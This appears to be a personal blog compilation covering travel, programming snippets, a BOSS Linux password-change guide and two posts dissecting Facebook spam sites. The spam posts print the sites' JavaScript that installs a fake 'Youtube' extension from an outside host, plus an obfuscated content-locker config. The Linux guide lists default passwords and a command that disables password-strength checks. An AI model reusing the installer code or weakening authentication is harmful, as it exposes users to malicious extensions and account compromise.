Here comes the dreaded Saudi entry process. Here every rumor was false again but the terrified process was worse than we thought. We saw three queues - one for first entry, one for re entry, one for business persons and diplomats. Being on a government visit visa, we decided to go to the last one - business/diplomats. Language became a huge problem from this point. Till I explicitly tell otherwise, every conversation that follows was one filled with a long back and forth of Arabic and English/hindi.Policemen didn't know English at all. They were smoking freely. Cracking jokes across the counters and were in general rude to everyone. One policeman came over to the end as soon as we got there and wanted to know why we were standing there and not in the first entry. We told him that we were on a gov. visit and handed the passports, he stared long and hard at the visa and then left us. Once we got to the checking guy, he saw the visa and asked us to go to the first entry queue. This policeman intervened and asked to us to go straight to another queue, bypassing others. The new policeman saw our visas and redirected us once again to another guy. The new guy was quite rude, and well he said there was a problem in the visa and asked us to go to the immigration office. One guy after a few minutes said he'll take care of the process and took us back to the counters, he got on a machine and processed quite quickly for me and one friend. The process for all involves scanning the finger prints and taking a photo. The fingerprinting process takes a lot of time since the policemen don't know that there is a green light indicating that the process is over and ask you to keep your fingers pressed for five damn minutes. For next friend, he stamped the passport but didn't hand it back. He instead took it to another counter and gave it to someone else. The new guy wouldn't tell what the problem was and just asked us to wait. The old guy who was Mr. Nice till then just told "not finish, not finish" and left us. We waited for around two hours without a clue. Stranded. In an alien land. Without a damn clue. Finally we were able to make them say "system problem". We were quite relieved that it was not any fault on our side. Anyway just before lunch another guy who was simply roaming around finally got to a computer and did something and returned our passports.

We went to collect our luggage, and unsurprisingly ours was the only ones not collected. We went for the exit, and surprise, surprise, our luggage was simply sent through the scanner and was not subject to any rigorous scanning as we heard. When we went out the person to collect us was waiting patiently and he took charge. I got a sim card from Zain network in the airport itself and off we went.

The city had wide, wide roads. And the buildings are very spaced. Coming from crowded India, it appears that there is no life here! I couldn't see people on the road. I mean in India, people walk on the road, drive two wheelers so one can see them easily. Since everyone is in a car here and no one walks - walks as in walking normally across the street, or like standing outside for a friendly chat, we couldn't see a single soul anywhere. Riyadh appears like a ghost town with cars roaring across the roads.

Got home to a big 2bhk furnished apartment with wifi access! The person in charge of the apartment  block was a friendly Sri Lankan. The workers here also are very friendly. We made ourselves fresh and then went out to the supermarket across the road to get some basic stuff. The cashier knows Hindi, and so it means fewer language problems. A woman came shopping and one of my friends asked a simple question, "how much does curd cost?" since the number was in Arabic, and she ran away!!! We were baffled and learned an important lesson! Never talk to women here.

Cooked noodles and slept.

Day 2  - (McDonalds and television channels. I'll blog tomorrow.)

Nginx 403 error on all files

Recently I moved my personal website to my VPS, from a hosting provider. Everything was fine but Nginx just wouldn't serve static js and css files.

Saw a couple of posts about this like, http://nicholasorr.com/blog/2008/07/22/nginx-engine-x-what-a-pain-in-the-bum/. Checking the logs showed the same permission denied error, but the individual files were readable by all users.

However, Stackoverflow saved the day!

The directories needed execute permission! and it didn't have it.... so another unnecessary post, nevertheless I've already typed the whole thing out, so I might as well let it stay.

Python - Somthing similar to curry

Currying is a pretty neat idea. However python has its own partial in functools module.

So, left with nothing better to do, I had an idea of a function that waits till it has been called with the required number of arguments to return the result. That is, the arguments from the previous calls should be saved somewhere and used later.

So, here is the result almost_curry!


class almost_curry():
    def __init__(self,func):
        import inspect as insp
        self.func = func
        self.argsInFunc = insp.getargspec(func)[0]
        self.argsReq = len(self.argsInFunc)
        self.args = []
        self.kwargs = {}
   
    def __call__(self,*args,**kwargs):
        if args:
            self.args.extend(args)
            if len(self.args) == self.argsReq:
                targs = list(self.args)
                self.args = []
                return self.func(*targs)
               
        if kwargs:
            self.kwargs.update(kwargs)
            if len(self.kwargs) == self.argsReq:
                tkwargs = self.kwargs.copy()
                self.kwargs = {}
                return self.func(**tkwargs)

If we have a normal function, say sumxy,


def sumxy(x,y):
    return x+y

Now, we can do something like,
csumxy = almost_curry(sumxy)

If we call the our csumxy (its an object, not a function, but, functions are objects, oh I am getting loopy, never mind...)

csumxy(4) #just a normal call
csumxy(5) #target function has got the required number or args, so
9               # it has output the result! yay!

Takeaway: I found one use for the inspect module in python. Pulling this off without getargspec() in inspect would have required some other kind of hackery. If you have any suggestions please comment.

Google Code Jam - C++ base code

The qualification round is over! I found myself checking other people's code and I decided for the next rounds I'd need some common code to cut short the development time. There is no point in keeping this a secret, because, anyone can read other people's code and *a lot of far better, and really good code* are there if you check the code of the top 20 or so.

I plan to stick with python, however if speed of execution becomes very crucial, this will be my plan B (my plan A - using pypy ;) ).

I am treating each test case as a separate object. And since there is usually no common data  shared between  test cases, they can and should be parallelized. Pthreads are doing the job well enough, though I will try to check something with OpenMP's #pragma directive.

Note that while using pthreads and treating each test case as completely different gives us some gain, memoizing becomes a little bit more painful.

I also couldn't resist the urge to implement an ugly forAll kind of function. The doWork() is just something to test the performance gain, run this using perf in linux... and read the code and do comment if you have any suggestion, or I'll simply hunt your code down and read and learn from it ;)

#include < iostream >
#include < vector >
#include < pthread.h >

using namespace std;

class TestCase{

    private:
        int begin,end,result;

    public:
        TestCase(){begin = end = result = 0;}
        TestCase(int x, int y):begin(x),end(y){}
        void doWork();
        friend ostream & operator < < (ostream & out1,TestCase &t1);
        friend istream & operator >> (istream & in1,TestCase &t1);
};

void TestCase::doWork(){
    for(int i = 0; i < begin; i++){
        for(int j = 0; j < end*10;j++){
            for(int k = 0; k < begin; k++){
                result += 1;
            }
        }
    }
}

ostream & operator << (ostream & out1,TestCase &t1){
    out1&lt&ltt1.result;
    return out1;
}

istream & operator >> (istream & in1,TestCase &t1){
    in1 >> t1.begin &gt&gt t1.end;
    return in1;
}


inline void forAllTestCases(const int &num_testcases, vector<TestCase *> &tarr, void (*func)(TestCase * tptr)){
    int i = 0;
    while(num_testcases - i){
        func(tarr[i++]);
    }
}

void try1(TestCase * tptr){
    tptr-&gtdoWork();
}

void *doWork(void *threadArg){
    TestCase *tmp;
    tmp = reinterpret_cast<TestCase *>(threadArg);
    tmp->doWork();
}

int main(){
    int num_testcases,i;
    vector<TestCase *> tarr;
    cin>>num_testcases;

//read the input - I usually redirect the stdin
    TestCase *tptr;
    for(i=0;i<num_testcases;i++){
        tptr = new TestCase;
        cin >> *tptr;
        tarr.push_back(tptr);
    }

    vector<pthread_t> mythreads(100);
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_JOINABLE);
    void *status;
    int rc;

   
    for(i=0;i<num_testcases;i++)
    {
        rc = pthread_create(&mythreads[i],&attr,doWork, (void *) tarr[i]);
    }

    pthread_attr_destroy(&attr);

    //forAllTestCases(num_testcases,tarr,&try1);

//print the output
    for(i = 0; i < num_testcases; i++){
        rc = pthread_join(mythreads[i],&status);
        cout<<*tarr[i]<<endl;
    }

   
}

Changing Password In BOSS Linux (Tamil Nadu Laptops)

Here is how you can change your password in BOSS Linux. The procedure is common for all GNOME 2.x Linux operating systems, but recently the BOSS Helpline is being flooded with calls from students who have received free laptops from the Tamil Nadu Government, so the support guys asked us to help them out, and so I want to be a little Google search friendly. I assume people will search something similar to Tamil Nadu Government laptop password change, or BOSS password change, or BOSS authorization code ???

If you received the laptop as part of the Tamil Nadu Gov scheme, there will be two default passwords. One is "boss" - the normal user password and the other is "root" - the administrative password.

• When you login, for example, you'll have to enter boss as password. 
• When you click on the Windows drive in linux and it asks for a password, you'll have to enter root.

To change the user password (first one)

In your desktop you should be seeing Applications, Places, System in the bottom. Click on System -> Administration -> Users and Groups.

You'll see something similar this,

Click on the change and give whatever password you want.

To change the admin password (second one)

Go to Applications -> Accessories -> Terminal

Type sudo -i and press the Enter key.

If it asks for a password, enter your first password.

If it is successful, you'll find the wordings change from boss@boss to root@boss

Now, type passwd

Enter the new password.

The system will not accept weak passwords, however if you want to make life simpler at your own peril, type pam-auth-update --remove passwdqc

After you've given that the system will not bother you when you enter weak passwords.

If you are still not sure, call 1800 4250 455

Facebook spam sites - Code which installs the browser plugin

Here is the javascript that is executed when you click on the install Youtube plugin button.
See previous post for more details.

var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;

function instalar()
{
    if (is_chrome)
   {
      window.open("http://onbus.info/fb/youtube.crx");
   }
   else if(is_firefox)
   {
     var params = {
           "Youtube Extension": {
                  URL: "http://onbus.info/fb/youtube.xpi",
                  toString: function () { return this.URL; }
            }
      };
      InstallTrigger.install(params);
   }
   else
   { 
     window.open("http://www.google.com/chrome/eula.html");
   }
}

Facebook posts spam code sample - do it yourself!

Here is a small piece of code from one Facebook spamming website, which gets publishes shit on people's walls, and, well embarrasses the ruined guy.

Here we go,

Click on Google Chrome's wrench icon -> Tools -> Javascript console

Paste this  and press enter and see it change into something meaningful. This is how code obfuscation works.

unescape('%20%20%76%61%72%20%77%69%64%67%65%74%4a%53%4f%4e%20%3d%20%7b%20%20%20%20%22%62%72%61%6e%64%73%74%61%74%69%63%22%3a%20%22%73%74%61%74%69%63%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%77%77%77%64%6f%6d%61%69%6e%22%3a%20%22%77%77%77%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%62%72%61%6e%64%63%6f%64%65%22%3a%20%22%63%70%61%6c%65%61%64%22%2c%20%20%20%20%22%64%61%74%61%64%6f%6d%61%69%6e%22%3a%20%22%64%61%74%61%2e%63%70%61%6c%65%61%64%2e%63%6f%6d%22%2c%20%20%20%20%22%74%72%61%63%6b%64%6f%6d%61%69%6e%22%3a%20%22%74%72%61%63%6b%69%6e%67%2d%74%65%63%68%6e%6f%6c%6f%67%79%2e%63%6f%6d%22%2c%20%20%20%20%22%70%75%62%22%3a%20%22%31%31%37%38%33%33%22%2c%20%20%20%20%22%73%75%62%69%64%22%3a%20%22%31%32%32%2e%31%37%34%2e%39%2e%31%31%30%22%2c%20%20%20%20%22%63%6f%75%6e%74%72%79%22%3a%20%22%49%4e%22%2c%20%20%20%20%22%67%61%74%65%69%64%22%3a%20%22%31%33%34%36%38%32%22%2c%20%20%20%20%22%67%61%74%65%69%64%36%34%22%3a%20%22%4d%54%4d%30%4e%6a%67%79%22%2c%20%20%20%20%22%67%61%74%65%74%79%70%65%22%3a%20%22%30%22%2c%20%20%20%20%22%67%61%74%65%68%61%73%68%22%3a%20%22%66%61%31%31%35%33%37%35%36%39%63%63%63%38%38%65%30%36%38%33%39%32%66%37%33%38%66%65%39%62%35%39%22%2c%20%20%20%20%22%69%63%6f%6e%6d%61%78%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%69%63%6f%6e%69%74%65%6d%77%69%64%74%68%22%3a%20%22%35%39%2e%32%35%22%2c%20%20%20%20%22%70%72%6f%74%65%63%74%66%69%6c%65%22%3a%20%22%30%22%2c%20%20%20%20%22%70%72%6f%6d%70%74%65%6d%61%69%6c%22%3a%20%22%30%22%2c%20%20%20%20%22%61%63%63%65%73%73%74%69%6d%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%66%6f%6e%74%63%6f%6c%6f%72%22%3a%20%22%23%30%32%36%30%63%34%22%2c%20%20%20%20%22%62%61%63%6b%67%72%6f%75%6e%64%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%69%2e%69%6d%67%75%72%2e%63%6f%6d%2f%4f%38%35%32%4f%2e%70%6e%67%22%2c%20%20%20%20%22%64%6f%77%6e%6c%6f%61%64%22%3a%20%22%4d%54%45%33%4f%44%4d%7a%66%44%45%7a%4e%44%59%34%4d%6e%77%77%22%2c%20%20%20%20%22%6c%65%66%74%74%69%6d%65%22%3a%20%22%66%6f%72%20%3c%73%74%72%6f%6e%67%3e%3c%75%3e%32%34%3c%2f%75%3e%3c%2f%73%74%72%6f%6e%67%3e%20%68%6f%75%72%73%20%6f%6e%6c%79%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%22%3a%20%22%32%34%22%2c%20%20%20%20%22%61%6c%6c%6f%77%61%6e%63%65%75%6e%69%74%73%22%3a%20%22%68%6f%75%72%73%22%2c%20%20%20%20%22%61%6c%65%72%74%22%3a%20%22%31%22%2c%20%20%20%20%22%61%6c%65%72%74%74%65%78%74%22%3a%20%22%50%72%65%6d%69%75%6d%20%43%6f%6e%74%65%6e%74%20%55%6e%6c%6f%63%6b%65%64%21%22%2c%20%20%20%20%22%6c%65%61%64%74%65%78%74%22%3a%20%22%22%2c%20%20%20%20%22%63%61%63%68%65%75%72%6c%22%3a%20%22%61%48%52%30%63%44%6f%76%4c%33%4e%6c%5a%57%68%76%64%33%52%76%63%6d%56%7a%64%47%39%79%5a%58%6c%76%64%58%4a%68%59%32%4d%75%59%6d%78%76%5a%33%4e%77%62%33%51%75%61%57%34%76%50%33%64%68%64%47%4e%6f%22%2c%20%20%20%20%22%74%72%61%66%66%69%63%72%65%74%61%69%6e%65%72%22%3a%20%22%31%22%2c%20%20%20%20%22%63%6c%6f%73%65%62%75%74%74%6f%6e%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%65%6e%61%62%6c%65%64%22%3a%20%22%30%22%2c%20%20%20%20%22%72%65%64%69%72%65%63%74%75%72%6c%22%3a%20%22%22%20%20%20%7d%3b%20%20%20')

The most confident puppy in the room

The most confident puppy in the room,

• may embarrass itself more frequently,
• will surely be silenced more,
• will be put in its place often,
• may not have the most number of friends,
• will mess things up for itself and others

But we all know the most confident puppy in the room....

 

Angry Facebook Rant

when i log in to FB, I see you, *you* all my FB friends, getting a promotion, eating to your hearts content in some fancy restaurant, enjoying in a wacko party, playing, enjoying, ALWAYS #@$@$, now i do all that, not that i don't! but to see someone do something EVERY FREAKING DAY, kinddaa bums me out, monday someone is getting married, tuesday someone else gets promoted, wednesday someone goes to a really beautiful place with all their friends, thursday someone found the love of their life, friday someone posts the pics of his new car, saturday someone won some football match, sunday someone is taking the whole week off :( @#$@#@#

What do you think, that i can fall in love very monday, get promoted on tuesdays, go dancing on wednesdays, buy BMWs and HArley Davidsons on thursdays, climb Mt. Everest on Fridays, go eat in taj on saturdays, and apply for one week leave every Sunday? There is no way i am going to keep pace with that, and i don't plan to, screw you, i am logging off and going to SLEEP, someone else can *like* all your photos, good night.

SICP Journey - 1

I have started learning Scheme as functional programming is raising its head once again! Haskell, Clojure, Coffee Script in javascript.

Boy, so here i go,

Here is my fibonacci program,
(define (fibo n)
        (cond ((= 0 n) 0)
              ((= 1 n) 1)
              (else (+ (fibo (- n 1))
                   (fibo (- n 2))
                      ))))

And here is a factorial program,

(define (factprog x)
        (cond ((= 0 x) 1) 
            (else (* x (factprog (- x 1)))
        ))
    )

Yup, that's it. So short and so sweet. Better versions of these programs are going to appear, so, watch out!